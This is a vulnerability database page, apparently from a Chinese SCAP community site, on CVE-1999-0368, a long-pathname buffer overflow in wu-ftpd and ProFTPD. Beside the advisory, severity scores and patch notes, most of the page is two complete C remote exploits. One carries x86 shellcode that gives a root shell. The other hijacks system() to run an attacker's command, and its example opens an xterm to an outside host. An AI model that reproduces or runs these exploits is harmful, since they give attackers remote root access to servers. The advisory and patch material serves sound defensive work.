CVE-1999-0368
CVSS10.0
发布时间 :1999-02-09 00:00:00
修订时间 :2008-09-09 08:34:25
NMCOE    

[原文]Buffer overflows in wuarchive ftpd (wu-ftpd) and ProFTPD lead to remote root access, a.k.a. palmetto.


[CNNVD]多家厂商FTP服务器长路径名缓冲区溢出漏洞(CNNVD-199902-019)

        
        多家厂商的FTP服务器程序实现上存在缓冲区溢出漏洞。
        ProFTPd 1.2pre1及其以前版本Wu-ftpd 2.4.2academ[BETA-18]及其以前版本软件在处理超长的目录名时存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞获取主机的root用户访问权限。
        

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:sco:openserver:5.0.5
cpe:/o:slackware:slackware_linux:3.5
cpe:/o:sco:openserver:5.0
cpe:/o:sco:openserver:5.0.3
cpe:/o:redhat:linux:5.1Red Hat Linux 5.1
cpe:/o:slackware:slackware_linux:3.6
cpe:/a:washington_university:wu-ftpd:2.4.2_beta18_vr9
cpe:/o:sco:unixware:7.0
cpe:/o:caldera:openlinux:1.3
cpe:/o:sco:unixware:7.0.1
cpe:/o:debian:debian_linux:2.0Debian Debian Linux 2.0
cpe:/o:slackware:slackware_linux:3.4
cpe:/o:redhat:linux:5.0Red Hat Linux 5.0
cpe:/o:sco:openserver:5.0.2
cpe:/o:sco:openserver:5.0.4
cpe:/a:proftpd_project:proftpd:1.2_pre1
cpe:/a:washington_university:wu-ftpd:2.4.2_beta18

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0368
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0368
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199902-019
(官方数据源) CNNVD

- 其它链接及资源

- 漏洞信息

多家厂商FTP服务器长路径名缓冲区溢出漏洞
危急 未知
1999-02-09 00:00:00 2006-09-20 00:00:00
远程  
        
        多家厂商的FTP服务器程序实现上存在缓冲区溢出漏洞。
        ProFTPd 1.2pre1及其以前版本Wu-ftpd 2.4.2academ[BETA-18]及其以前版本软件在处理超长的目录名时存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞获取主机的root用户访问权限。
        

- 公告与补丁

        厂商补丁:
        ProFTPD Project
        ---------------
        目前厂商已经在最新版本的软件中修复了这个安全问题,请到厂商的主页下载:
        
        http://www.proftpd.org/

        Washington University
        ---------------------
        目前厂商已经在最新版本的软件中修复了这个安全问题,请到厂商的主页下载:
        
        http://www.wu-ftpd.org/

- 漏洞信息 (19086)

wu-ftpd 2.4.2,SCO Open Server <= 5.0.5,ProFTPD 1.2 pre1 realpath Vulnerability (1) (EDBID:19086)
linux remote
1999-02-09 Verified
21 smiler and cossack
N/A [点击下载]
source: http://www.securityfocus.com/bid/113/info

There is a vulnerability in ProFTPD versions 1.2.0pre1 and earlier and in wu-ftpd 2.4.2 (beta 18) VR9 and earlier. This vulnerability is a buffer overflow triggered by unusually long path names (directory structures). For example, if a user has write privilages he or she may create an unusually long pathname which due to insuficient bounds checking in ProFTPD will overwrite the stack. This will allow the attacker to insert their own instruction set on the stack to be excuted thereby elavating their access.

The problem is in a bad implementation of the "realpath" function.

/*
 * Remote/local exploit for wu-ftpd [12] through [18]
 * gcc w00f.c -o w00f -Wall -O2
 *
 * Offsets/padding may need to be changed, depending on remote daemon
 * compilation options. Try offsets -5000 to 5000 in increments of 100.
 *
 * Note: you need to use -t >0 for -any- version lower than 18.
 * Coded by smiler and cossack
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>


/* In a beta[12-17] shellcode_A overflow, we will not see responses
to our commands. Add option -c (use chroot code) to fix this. */
unsigned char hellcode_a[]=
        "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */
        "\xeb\x2c\x5b\x89\xd9\x80\xc1\x06\x39\xd9\x7c\x07\x80\x01\x20"
        "\xfe\xc9\xeb\xf5\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c"
        "\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd"
        "\x80\xe8\xcf\xff\xff\xff\xff\xff\xff"
        "\x0f\x42\x49\x4e\x0f\x53\x48";

unsigned char hellcode_b[]=
        "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */
        "\xeb\x66\x5e\x89\xf3\x80\xc3\x0f\x39\xf3\x7c\x07\x80"
        "\x2b\x02\xfe\xcb\xeb\xf5\x31\xc0\x88\x46\x01\x88\x46"
        "\x08\x88\x46\x10\x8d\x5e\x07\xb0\x0c\xcd\x80\x8d\x1e"
        "\x31\xc9\xb0\x27\xcd\x80\x31\xc0\xb0\x3d\xcd\x80\x31"
        "\xc0\x8d\x5e\x02\xb0\x0c\xcd\x80\x31\xc0\x88\x46\x03"
        "\x8d\x5e\x02\xb0\x3d\xcd\x80\x89\xf3\x80\xc3\x09\x89"
        "\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d"
        "\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd\x80"
        "\xe8\x95\xff\xff\xff\xff\xff\xff\x43\x43\x30\x30\x31"
        "\x30\x30\x31\x43\x31\x64\x6b\x70\x31\x75\x6a";
 

char *Fgets(char *s,int size,FILE *stream);
int ftp_command(char *buf,int success,FILE *out,char *fmt,...);
int double_up(unsigned long blah,char *doh);
int resolv(char *hostname,struct in_addr *addr);
void fatal(char *string);
int usage(char *program);
int tcp_connect(struct in_addr host,unsigned short port);
int parse_pwd(char *in,int *pwdlen);
void RunShell(int thesock);



struct type {
        unsigned long ret_address;
        unsigned char align; /* Use this only to offset \xff's used */
        signed short pad_shift; /* how little/much padding */
        unsigned char overflow_type; /* whether you have to DELE */
        char *name;
};

/* ret_pos is the same for all types of overflows, you only have to change
   the padding. This makes it neater, and gives the shellcode plenty of
   room for nops etc
 */
#define RET_POS 190 
#define FTPROOT "/home/ftp"


/* the redhat 5.0 exploit doesn't work at the moment...it must be some
   trite error i am overlooking. (the shellcode exits w/ code 0375) */
struct type types[]={
        { 0xbffff340, 3, 60, 0,  "BETA-18 (redhat 5.2)", },   
        { 0xbfffe30e, 3,-28, 1,  "BETA-16 (redhat 5.1)", },   
        { 0xb2ffe356, 3,-28, 1,  "BETA-15 (redhat 5.0)", },   
        { 0xbfffebc5, 3,  0, 1,  "BETA-15 (slackware 3.3)", },
        { 0xbffff3b3, 3,  0, 1,  "BETA-15 (slackware 3.4)", },
        { 0xbffff395, 3,  0, 1,  "BETA-15 (slackware 3.6)", },
        { 0,0,0,0,NULL }
                    };
 
struct options {
        char start_dir[20];
        unsigned char *shellcode;
        unsigned char chroot;
        char username[10];
        char password[10];
        int offset;
        int t;
} opts;

/* Bit of a big messy function, but hey, its only an exploit */

int main(int argc,char **argv)
{
        char *argv0,ltr;
        char outbuf[1024], inbuf[1024], ret_string[5];
        int pwdlen,ctr,d;
        FILE *cin;
        int fd;
        struct in_addr victim;

        argv0 = strdup(argv[0]);
        *opts.username = *opts.password = *opts.start_dir = 0;
        opts.chroot = opts.offset = opts.t = 0;
        opts.shellcode = hellcode_a;

        while ((d = getopt(argc,argv,"cs:o:t:"))!= -1){
                switch (d) {
                case 'c':
                        opts.shellcode = hellcode_b;
                        opts.chroot = 1;
                        break;
                case 's':
                        strcpy(opts.start_dir,optarg);
                        break;
                case 'o':
                        opts.offset = atoi(optarg);
                        break;
                case 't':
                        opts.t = atoi(optarg);
                        if ((opts.t < 0)||(opts.t>5)) {
                                printf("Dont have that type!\n");
                                exit(-1);
                        }
                }
        }
        
        argc -= optind;
        argv += optind;

        if (argc < 3)
                usage(argv0);

        if (!resolv(argv[0],&victim)) {
                perror("resolving");
                exit(-1);
        }
        strcpy(opts.username,argv[1]);
        strcpy(opts.password,argv[2]);
        
        if ((fd = tcp_connect(victim,21)) < 0) {
                perror("connect");
                exit(-1);
        }
        
        if (!(cin = fdopen(fd,"r"))) {
                printf("Couldn't get stream\n");
                exit(-1);
        }

        Fgets(inbuf,sizeof(inbuf),cin);
        printf("%s",inbuf);
                        
        if (ftp_command(inbuf,331,cin,"USER %s\n",opts.username)<0)
                fatal("Bad username\n");
        if (ftp_command(inbuf,230,cin,"PASS %s\n",opts.password)<0)
                fatal("Bad password\n");
                        
        if (*opts.start_dir)  
                if (ftp_command(inbuf,250,cin,"CWD %s\n",opts.start_dir)<0)
                        fatal("Couldn't change dir\n");
 
        if (ftp_command(inbuf,257,cin,"PWD\n")<0)
                fatal("PWD\n");

        if (parse_pwd(inbuf,&pwdlen) < 0)
                fatal("PWD\n");
        
        srand(time(NULL));
        printf("Making padding directorys\n");
        for (ctr = 0;ctr < 4;ctr++) {
                ltr = rand()%26 + 65;
                memset(outbuf,ltr,194);
                outbuf[194]=0;
                if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0)
                        fatal("MKD\n");
                if (ftp_command(inbuf,250,cin,"CWD %s\n",outbuf)<0)
                        fatal("CWD\n");
        }

        /* Make padding directory */
        
        ctr = 124 - (pwdlen - types[opts.t].align);//180
        //ctr = 152 - (pwdlen - types[opts.t].align);
        ctr -= types[opts.t].pad_shift;
        if (ctr < 0) {
                exit(-1);
        }
        memset(outbuf,'A',ctr+1);
        outbuf[ctr] = 0;
        if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0)
                fatal("MKD\n");
        if (ftp_command(inbuf,250,cin,"CWD %s\n",outbuf)<0)
                fatal("CWD\n");

        memset(outbuf,0x90,195);
        d=0;
        for (ctr = RET_POS-strlen(opts.shellcode);ctr<(RET_POS);ctr++)
                outbuf[ctr] = opts.shellcode[d++];
        double_up(types[opts.t].ret_address-opts.offset,ret_string);
        strcpy(outbuf+RET_POS,ret_string);
        strcpy(outbuf+RET_POS+strlen(ret_string),ret_string);
 
        printf("Press any key to send shellcode...\n");
        getchar();
        if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0)
                fatal("MKD\n");
        if (types[opts.t].overflow_type == 1)
                if (ftp_command(inbuf,250,cin,"DELE %s\n",outbuf)<0)
                        fatal("DELE\n");
        /* HEH. For type 1 style we add a dele command. This overflow
        occurs in delete() in ftpd.c. The cause is realpath() in realpath.c
        not checking bounds correctly, overwriting path[] in delete(). */
                
        RunShell(fd);
        return(1);
}
                
void RunShell(int thesock)
{
        int n;
        char recvbuf[1024];
        fd_set rset;

        while (1)
        {
                FD_ZERO(&rset);
                FD_SET(thesock,&rset);
                FD_SET(STDIN_FILENO,&rset);
                select(thesock+1,&rset,NULL,NULL,NULL);
                if (FD_ISSET(thesock,&rset))
                {
                        n=read(thesock,recvbuf,1024);
                        if (n <= 0)
                        {
                                printf("Connection closed\n");
                                exit(0);
                        }
                        recvbuf[n]=0;
                        printf("%s",recvbuf);
                }
                if (FD_ISSET(STDIN_FILENO,&rset))
                {
                        n=read(STDIN_FILENO,recvbuf,1024);
                        if (n>0)
                        {
                                recvbuf[n]=0;
                                write(thesock,recvbuf,n);
                        }
                }
        }
        return;
}

                
int double_up(unsigned long blah, char *doh)
{
        int a;
        unsigned char *ptr,*ptr2;
        bzero(doh,6);
        ptr=doh;
        ptr2=(char *)&blah;
        for (a=0;a<4;a++) {
                *ptr++=*ptr2;
                if (*ptr2==0xff) *ptr++=0xff;
                ptr2++;
        }
        return(1);
}
                
                
int parse_pwd(char *in, int *pwdlen)
{
        char *ptr1,*ptr2;
                        
        /* 257 "/" is current directory */
        ptr1 = strchr(in,'\"');
        if (!ptr1) return(-1);
        ptr2 = strchr(ptr1+1,'\"');
        if (!ptr2) return(-1);
        *ptr2 = 0;
        *pwdlen = strlen(ptr1+1);
        /* If its just "/" then it contributes nothing to the RET_POS */
        if (*pwdlen==1) *pwdlen -= 1;
        printf("Home Dir = %s, Len = %d\n",ptr1+1,*pwdlen);
        return(1);
}
                                
int tcp_connect(struct in_addr host,unsigned short port) 
{
        struct sockaddr_in serv;
        int fd;
        
        fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
        bzero(&serv,sizeof(serv));
        memcpy(&serv.sin_addr,&host,sizeof(struct in_addr));
        serv.sin_port = htons(port);
        serv.sin_family = AF_INET;
        if (connect(fd,(struct sockaddr *)&serv,sizeof(serv)) < 0) {
                return(-1);
        }
        return(fd);
}
        
                
int ftp_command(char *buf,int success,FILE *out,char *fmt,...)
{
        va_list va;
        char line[1200];
        int val;
                
        va_start(va,fmt);
        vsprintf(line,fmt,va);
        va_end(va);
        
        if (write(fileno(out),line,strlen(line)) < 0)
                return(-1);

        bzero(buf,200);
        while(1) {
                Fgets(line,sizeof(line),out);
#ifdef DEBUG
                printf("%s",line);
#endif
                if (*(line+3)!='-') break;
        }
        strncpy(buf,line,200);
        val = atoi(line);
        if (success != val) return(-1);
        return(1);
}
        
void fatal(char *string)
{       
        printf("%s",string);
        exit(-1);
}
        
char *Fgets(char *s,int size,FILE *stream)
{
        char *ptr;

        ptr = fgets(s,size,stream);
        //if (!ptr)
                //fatal("Disconnected\n");
        return(ptr);
}
 
int resolv(char *hostname,struct in_addr *addr)
{
        struct hostent *res;
                
        if (inet_aton(hostname,addr))
                return(1);
        
        res = gethostbyname(hostname);
        if (res == NULL)
                return(0);

        memcpy((char *)addr,(char *)res->h_addr,sizeof(struct in_addr));
        return(1);
}

int usage(char *program)
{
        fprintf(stderr,"Usage: %s <host> <username> <password> [-c] [-s start_dir]\n",program);
        fprintf(stderr,"\t[-o offset] [-t type]\n");
        fprintf(stderr,"types:\n");
        fprintf(stderr,"0 - %s\n", types[0].name);
        fprintf(stderr,"1 - %s\n", types[1].name);
        fprintf(stderr,"2 - %s\n", types[2].name);
        fprintf(stderr,"3 - %s\n", types[3].name);
        fprintf(stderr,"4 - %s\n", types[4].name);
        fprintf(stderr,"5 - %s\n", types[5].name);
        fprintf(stderr,"\n");
        exit(0);
}
        
/* -EOF- */		

- 漏洞信息 (19087)

wu-ftpd 2.4.2,SCO Open Server <= 5.0.5,ProFTPD 1.2 pre1 realpath Vulnerability (2) (EDBID:19087)
linux remote
1999-02-09 Verified
21 jamez and c0nd0r
N/A [点击下载]
source: http://www.securityfocus.com/bid/113/info
 
There is a vulnerability in ProFTPD versions 1.2.0pre1 and earlier and in wu-ftpd 2.4.2 (beta 18) VR9 and earlier. This vulnerability is a buffer overflow triggered by unusually long path names (directory structures). For example, if a user has write privilages he or she may create an unusually long pathname which due to insuficient bounds checking in ProFTPD will overwrite the stack. This will allow the attacker to insert their own instruction set on the stack to be excuted thereby elavating their access.
 
The problem is in a bad implementation of the "realpath" function.
 

/*
 * SDI wu-ftpd exploit for Linux (Feb 20, 1999)
 *
 * http://www.sekure.org - Brazilian Information Security Team.
 *
 * Source by jamez  (jamez@sekure.org)
 *           c0nd0r (condor@sekure.org)
 *
 * This source let you execute commands as root if you have write 
 * access on the ftp server.
 *
 * Usage: 
 *
 *    gcc SDI-wu.c -o SDI-wu
 *
 *    ./SDI-wu host user password dir command type [port] [align]
 *
 *    host:     the victim (ftp.microsoft.com)
 *    user:     ftp user with write access (anonymous)
 *    password: the password for the user (foo@bar.com)
 *    dir:      the directory you have access (/incoming)
 *    command:  the command ("/usr/X11R6/bin/xterm -display www.host.com:0")
 *    type:     system type (see below)
 *    port:     ftp port (21 default)
 *    align:    the alignment (default 3)
 *
 *
 * Limitations:
 *
 *    because I've used hard coded address's for system and the command, 
 *    the  values  wont  be  the same in others compilations of wu-ftpd. 
 *    so,  you will  need to  find   the  address   for   the   version
 *    you want to exploit.
 *
 *    because we are not using the stack to  put our code, the  exploit
 *    will work  as well against a non-executable stack patch.
 *
 *
 * RECOMENDATION = Please, run gdb through the wu.ftpd binary in order to
 * find out your "system address" (ie: print system) and  write it   down
 * so you can have more address to try - just overwrite the default addr
 * and choose type (3).
 *
 *
 * Thanks for the sekure SDI: 
 * fcon, bishop, dumped, bahamas, slide, vader, yuckfoo.
 *
 * Also thanks for #uground (irc.brasnet.org) and
 * chaosmaker, c_orb(efnet) 
 *
 */


#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <arpa/inet.h>

#define MAXLEN 255
#define BSIZE 1024


  
struct sockaddr_in sa;
struct hostent *he;


char c = 'A';

char host[255],
  user[255],
  pass[255],
  command[1024],
  buff[2040], 
  tmp[3060], 
  netbuf[2040],
  dir[255];

int sd, 
  i, 
  offset = 0, 
  dirsize = 0, 
  port=21, 
  doit = 0,
  done = 0,
  todo = 0,
  align = 3,
  tipo = 0;

/* CUSTOM ADDRESS, CHANGE IT IN ORDER TO EXPLOIT ANOTHER BOX */
#define SYSADDR 0x40043194;
#define EGGADDR 0x805f1dc;

long systemaddr;
long shelladdr;


void usage(char * s) {
  printf(" \nSDI wu-ftpd remote exploit (http://www.sekure.org)\n\n");
  printf(" %s host user password dir command [port] [align]\n\n", s);
  printf(" host:         the victim (ftp.microsoft.com)\n");
  printf(" user:         ftp user with write access (anonymous)\n"); 
  printf(" password:     the password for the user (foo@bar.com)\n");
  printf(" dir:          the directory you have permission to write (/incoming)\n");
  printf(" command:      the command (\"/usr/X11R6/bin/xterm -display www.host.com:0\")\n");
  printf(" type:         see below\n");
  printf(" port:         ftp port (21 default)\n");
  printf(" align:        the alignment (3 default)\n");
  printf("\n type:\n 0 - slak3.4 ver 2.4(4)\n 1 - slak3.4 ver beta-15&18");
  printf("\n 2 - slak3.3 ver 2.4(2)");
  printf("\n 3 - custom (change the code)\n\n See Netect advisory - ");
  printf(" this is not suppose to be released soon! (Feb,1999)\n\n");
}




void get_dirsize() {
  strcpy ( tmp, "PWD"); strcat ( tmp, "\n"); 
  write ( sd, tmp, strlen(tmp));
  read ( sd, netbuf, sizeof(netbuf));
  
  for(i = 0; i < strlen(netbuf); i++)
    if(netbuf[i] == '\"') break;
       
  dirsize = 0;

  for(i++; i < strlen(netbuf); i++)
    if(netbuf[i] == '\"') 
      break;
    else
      dirsize++;
   
  bzero ( &netbuf, sizeof(netbuf));


}

int main (int argc, char *argv[]) {


  if (argc < 7)  {
    usage(argv[0]);
    exit(0);
  }

  sprintf(host, "%s", argv[1]);
  sprintf(user, "%s", argv[2]);
  sprintf(pass, "%s", argv[3]);
  sprintf(dir, "%s", argv[4]);
  sprintf(command, "%s", argv[5]);
  
  tipo = atoi (argv[6]);
  printf ( "%d\n\n", tipo);
 
  if ( argc > 7) port = atoi(argv[7]);
  if ( argc > 8) align = atoi(argv[8]);

  
  if (tipo <= 0) {
  /* 2.4(4) libc5 slack 3.4 */
   systemaddr = 0x400441f0;
   shelladdr = 0x80604a0;
  } else if (tipo == 1) {
  /* beta 15 libc5 slack 3.4 */ 
   systemaddr = 0x400441f0;
   shelladdr = 0x8062510;
  } else if (tipo == 2) {
/* 2.4(4) libc5 slack 3.3 */
   systemaddr = 0x400441f0;
   shelladdr = 0x805f1e4;
  } else { 
 /* CUSTOM ADDRESS */
   systemaddr = SYSADDR;
   shelladdr = EGGADDR;
  }

  sd = socket ( AF_INET, SOCK_STREAM, 0);

  sa.sin_family = AF_INET;
  sa.sin_port = htons(port);
 
  he = gethostbyname (host);
  if (!he) {
    if ( (sa.sin_addr.s_addr = inet_addr(host)) == INADDR_NONE) {
      printf ( "wrong ip address or unknown hostname\n"); exit(0);
    }
  } 
  else {
    bcopy ( he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length);
  } 
 
  if ( connect ( sd, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
    printf ( "Cannot connect to remote host: Connection refused\n");
    exit(0);
  }

  read ( sd, netbuf, sizeof(netbuf));
  printf ( "%s\n", netbuf); bzero ( &netbuf, sizeof(netbuf));
  /* ok. we're connected. */
  strcpy ( tmp, "USER "); strcat (tmp, user); strcat ( tmp, "\n");
  write ( sd, tmp, strlen(tmp)); bzero ( &tmp, sizeof(tmp));
  read ( sd, netbuf, sizeof(netbuf));
  printf ( "%s\n", netbuf); bzero ( &netbuf, sizeof(netbuf));
  /* ok. send the pass. */   
  strcpy ( tmp, "PASS "); strcat (tmp, pass); strcat ( tmp, "\n");
  write ( sd, tmp, strlen(tmp));  bzero ( &tmp, sizeof(tmp));
  read ( sd, netbuf, sizeof(netbuf));
  if ( netbuf[0] == '5') {
    printf ("Login incorrect!\n"); exit(0); }

  printf ( "%s\n", netbuf); 
#ifdef DEBUG
  printf ( "Ok, we're on! Press any key to exploit it\n"); 
  gets(netbuf);
#endif
  bzero ( &netbuf, sizeof(netbuf));

 /* ok. let's get to the vulnerable dir */
  strcpy ( tmp, "CWD "); strcat (tmp, dir); strcat ( tmp, "\n");
  write ( sd, tmp, strlen(tmp)); bzero ( &tmp, sizeof(tmp));
  read ( sd, netbuf, sizeof(netbuf));
  printf ( "%s\n", netbuf); bzero ( &netbuf, sizeof(netbuf));
 

  get_dirsize(); /* gets home dir size */


  todo = BSIZE - dirsize - 60 - 4;

  
  /* ok, we're on. let's get things working here! */
  while(done < todo) {
   
    if((todo - done) > 255) 
      doit = 255;
    else
      doit = todo - done;

   
    for (i = 0; i < doit; i++)
      buff[i] = c; 
    buff[doit] = '\0';
   

    strcpy ( tmp, "MKD "); strcat ( tmp, buff); strcat ( tmp, "\n"); 
    write ( sd, tmp, strlen(tmp));
    read ( sd, netbuf, sizeof(netbuf));
    if ( netbuf[1] == '2') {
      printf ("error while creating the dir, let's try another name...\n\n");
      c++;      
      continue;
    }
    else 
      done += doit;

    bzero ( &tmp, sizeof(tmp));  bzero ( &netbuf, sizeof(netbuf));
    strcpy ( tmp, "CWD "); strcat ( tmp, buff); strcat ( tmp, "\n");
    write ( sd, tmp, strlen(tmp)); 
    read ( sd, netbuf, sizeof(netbuf));
    if ( netbuf[0] == '5') {
      printf ("error while exploiting the remote host: Cannot cd dir!\n\n");
    }
    bzero ( &tmp, sizeof(tmp));  bzero ( &netbuf, sizeof(netbuf));
  }


 
  /* prepare last one */
  
  memset(buff, 'X', MAXLEN);

  for(i = align; i < 100; i += 4) {
    buff[i  ] = systemaddr & 0x000000ff;
    buff[i+1] = (systemaddr & 0x0000ff00) >> 8;
    buff[i+2] = (systemaddr & 0x00ff0000) >> 16;
    buff[i+3] = (systemaddr & 0xff000000) >> 24;
  }

  buff[i++] = shelladdr & 0x000000ff;
  buff[i++] = (shelladdr & 0x0000ff00) >> 8;
  buff[i++] = (shelladdr & 0x00ff0000) >> 16;
  buff[i++] = (shelladdr & 0xff000000) >> 24;

  strcat(command, ";");
  memcpy(buff+140, command, strlen(command));


  buff[MAXLEN] = '\0'; 
 
  strcpy ( tmp, "MKD "); strcat ( tmp, buff); strcat ( tmp, "\n"); 
  write ( sd, tmp, strlen(tmp));
  read ( sd, netbuf, sizeof(netbuf));
  bzero ( &tmp, sizeof(tmp));  bzero ( &netbuf, sizeof(netbuf));

  /* ok. */

  printf ( "Exploiting %s\n", dir);
  printf ( "Using 0x%x(system) and 0x%x(command), alignment = %d, port = %d\n", systemaddr, shelladdr, align, port);
  printf("\nI guess you're a hax0r now :D.\n");
 
  close (sd);

}		

- 漏洞信息

248
WU-FTPD MKDIR Directory Creation / Change Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity, Loss of Availability
Exploit Unknown

- 漏洞描述

A remote overflow exists in wu-ftpd. There is a failure to properly check bounds when a MKDIR call is issued resulting in a buffer overflow. With a specially crafted request, an attacker can potentially execute arbitrary code as the user wu-ftpd runs as (usually root) resulting in a loss of integrity, and/or availability.

- 时间线

1999-02-09 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 2.4.2-BETA-18-VR10 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站